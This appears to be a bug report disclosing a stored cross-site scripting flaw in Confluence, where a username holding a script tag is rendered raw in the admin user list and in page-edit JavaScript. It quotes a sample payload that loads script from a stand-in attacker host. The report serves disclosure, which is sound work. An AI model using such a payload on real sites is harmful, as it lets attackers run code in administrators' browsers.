When signing up for an account, it is possible to enter a username like "<script src=http://drevil.com/xss>fred</script>". Confluence will accept this, and on certain pages, render it as raw HTML to the user, opening the possibility of cross-site scripting (XSS) attacks.

Two places I've spotted the raw HTML so far:

• Most prominently, when an admin goes to Manage Users -> Show All Users, and the username displays in the list, the raw HTML is rendered.
• When editing a page created by such a user, the togglePermissions() javascript will display it, breaking later tags:

if ($('edit-personal').checked) $('editPermission').value = "<script src=http://drevil.com/xss>fred</script>";